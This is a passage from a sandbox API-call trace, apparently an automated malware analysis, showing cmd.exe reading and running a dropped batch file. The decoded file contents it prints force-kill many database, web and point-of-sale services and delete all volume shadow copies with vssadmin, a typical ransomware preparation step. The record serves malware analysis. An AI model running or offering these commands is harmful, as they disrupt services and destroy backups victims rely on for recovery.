lpFilePart=0x1ef260*="Desktop") returned 0x19 [0075.746] SetErrorMode (uMode=0x0) returned 0x1 [0075.746] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0075.746] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0075.746] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0075.746] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.746] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0xffffffff [0075.746] GetLastError () returned 0x2 [0075.746] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0xffffffff [0075.746] GetLastError () returned 0x2 [0075.746] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.746] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0x4b38d8 [0075.746] FindClose (in: hFindFile=0x4b38d8 | out: hFindFile=0x4b38d8) returned 1 [0075.747] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0xffffffff [0075.747] GetLastError () returned 0x2 [0075.747] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0x4b38d8 [0075.747] FindClose (in: hFindFile=0x4b38d8 | out: hFindFile=0x4b38d8) returned 1 [0075.747] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0075.747] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0075.747] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0075.747] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4b3b80, lpFilePart=0x1eeb4c | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x1eeb4c*="Desktop") returned 0x19 [0075.747] SetErrorMode (uMode=0x0) returned 0x1 [0075.747] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0075.747] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0075.747] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0075.747] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.747] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0xffffffff [0075.748] GetLastError () returned 0x2 [0075.748] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0xffffffff [0075.748] GetLastError () returned 0x2 [0075.748] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.748] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0x4b3e78 [0075.748] FindClose (in: hFindFile=0x4b3e78 | out: hFindFile=0x4b3e78) returned 1 [0075.748] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0xffffffff [0075.748] GetLastError () returned 0x2 [0075.748] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0x4b3e78 [0075.748] FindClose (in: hFindFile=0x4b3e78 | out: hFindFile=0x4b3e78) returned 1 [0075.748] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0075.749] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0075.749] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0075.749] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0075.749] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0075.749] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0075.749] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1 [0075.750] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="TASKKILL /F /IM ApacheMonitor.exe /IM ApacheMonitor.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kFT6uTQW\\Desktop", lpStartupInfo=0x1eeca4*(cb=0x48, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="TASKKILL /F /IM ApacheMonitor.exe /IM ApacheMonitor.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1eecf0 | out: lpCommandLine="TASKKILL /F /IM ApacheMonitor.exe /IM ApacheMonitor.exe ", lpProcessInformation=0x1eecf0*(hProcess=0x74, hThread=0x78, dwProcessId=0xbc4, dwThreadId=0xbc8)) returned 1 [0075.766] CloseHandle (hObject=0x78) returned 1 [0075.766] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0075.766] GetEnvironmentStringsW () returned 0x4a2dd8* [0075.766] FreeEnvironmentStringsW (penv=0x4a2dd8) returned 1 [0075.766] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0080.510] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0080.510] CloseHandle (hObject=0x74) returned 1 [0080.510] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0080.510] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0080.510] GetEnvironmentStringsW () returned 0x4b3fa0* [0080.510] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0080.510] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0080.510] GetEnvironmentStringsW () returned 0x4b3fa0* [0080.510] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0080.510] DeleteProcThreadAttributeList (in: lpAttributeList=0x1eec48 | out: lpAttributeList=0x1eec48) [0080.510] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0080.510] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0080.510] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0080.510] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0080.510] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0080.510] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0080.511] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0080.511] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0080.511] SetConsoleInputExeNameW () returned 0x1 [0080.511] GetConsoleOutputCP () returned 0x1b5 [0080.511] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0080.511] SetThreadUILanguage (LangId=0x0) returned 0x409 [0080.511] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0080.511] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0080.511] _get_osfhandle (_FileHandle=3) returned 0x74 [0080.511] SetFilePointer (in: hFile=0x74, lDistanceToMove=67, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43 [0080.512] _get_osfhandle (_FileHandle=3) returned 0x74 [0080.512] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x43 [0080.512] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x62d, lpOverlapped=0x0) returned 1 [0080.512] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1581, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM armsvc.exe /IM armsvc.exe \nTASKKILL /F /IM BackOffice.exe /IM BackOffice.exe \nTASKKILL /F /IM CodeMeter.exe /IM CodeMeter.exe \nTASKKILL /F /IM fbserver.exe /IM fbserver.exe \nTASKKILL /F /IM fdhost.exe /IM fdhost.exe \nTASKKILL /F /IM fdlauncher.exe /IM fdlauncher.exe \nTASKKILL /F /IM GLDS.exe /IM GLDS.exe \nTASKKILL /F /IM grym.exe /IM grym.exe \nTASKKILL /F /IM httpd.exe /IM httpd.exe \nTASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe \nTASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1581 [0080.512] _get_osfhandle (_FileHandle=3) returned 0x74 [0080.512] GetFileType (hFile=0x74) returned 0x1 [0080.512] _get_osfhandle (_FileHandle=3) returned 0x74 [0080.512] SetFilePointer (in: hFile=0x74, lDistanceToMove=-1538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6e [0080.513] _tell (_FileHandle=3) returned 110 [0080.513] _close (_FileHandle=3) returned 0 [0080.513] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0080.513] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0080.513] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0080.513] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0080.513] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0080.513] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0080.513] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0080.513] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0080.514] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0080.514] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0080.514] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0xffffffff [0080.515] GetLastError () returned 0x2 [0080.515] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0xffffffff [0080.515] GetLastError () returned 0x2 [0080.515] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0x4b5b58 [0080.515] FindClose (in: hFindFile=0x4b5b58 | out: hFindFile=0x4b5b58) returned 1 [0080.515] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0xffffffff [0080.515] GetLastError () returned 0x2 [0080.515] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0x4b5b58 [0080.515] FindClose (in: hFindFile=0x4b5b58 | out: hFindFile=0x4b5b58) returned 1 [0080.515] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0080.515] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0080.515] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0080.515] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0080.516] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0xffffffff [0080.516] GetLastError () returned 0x2 [0080.516] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0xffffffff [0080.516] GetLastError () returned 0x2 [0080.516] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0x4b5f68 [0080.516] FindClose (in: hFindFile=0x4b5f68 | out: hFindFile=0x4b5f68) returned 1 [0080.516] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0xffffffff [0080.516] GetLastError () returned 0x2 [0080.516] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) returned 0x4b5f68 [0080.516] FindClose (in: hFindFile=0x4b5f68 | out: hFindFile=0x4b5f68) returned 1 [0080.516] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0080.516] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0080.516] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0080.516] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0080.516] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0080.516] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0080.520] CloseHandle (hObject=0x74) returned 1 [0080.520] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0080.520] GetEnvironmentStringsW () returned 0x4b3fa0* [0080.520] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0080.520] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0081.008] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0081.008] CloseHandle (hObject=0x78) returned 1 [0081.008] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0081.008] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0081.008] GetEnvironmentStringsW () returned 0x4b3fa0* [0081.008] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0081.008] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0081.008] GetEnvironmentStringsW () returned 0x4b3fa0* [0081.008] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0081.008] DeleteProcThreadAttributeList (in: lpAttributeList=0x1eec48 | out: lpAttributeList=0x1eec48) [0081.008] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0081.008] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0081.009] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0081.009] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0081.009] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0081.009] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0081.009] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0081.009] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0081.009] SetConsoleInputExeNameW () returned 0x1 [0081.009] GetConsoleOutputCP () returned 0x1b5 [0081.009] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0081.009] SetThreadUILanguage (LangId=0x0) returned 0x409 [0081.009] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0081.009] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0081.009] _get_osfhandle (_FileHandle=3) returned 0x78 [0081.009] SetFilePointer (in: hFile=0x78, lDistanceToMove=110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e [0081.010] _get_osfhandle (_FileHandle=3) returned 0x78 [0081.010] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6e [0081.010] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x602, lpOverlapped=0x0) returned 1 [0081.010] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1538, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM BackOffice.exe /IM BackOffice.exe \nTASKKILL /F /IM CodeMeter.exe /IM CodeMeter.exe \nTASKKILL /F /IM fbserver.exe /IM fbserver.exe \nTASKKILL /F /IM fdhost.exe /IM fdhost.exe \nTASKKILL /F /IM fdlauncher.exe /IM fdlauncher.exe \nTASKKILL /F /IM GLDS.exe /IM GLDS.exe \nTASKKILL /F /IM grym.exe /IM grym.exe \nTASKKILL /F /IM httpd.exe /IM httpd.exe \nTASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe \nTASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1538 [0081.010] _get_osfhandle (_FileHandle=3) returned 0x78 [0081.010] GetFileType (hFile=0x78) returned 0x1 [0081.010] _get_osfhandle (_FileHandle=3) returned 0x78 [0081.010] SetFilePointer (in: hFile=0x78, lDistanceToMove=-1487, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa1 [0081.011] _tell (_FileHandle=3) returned 161 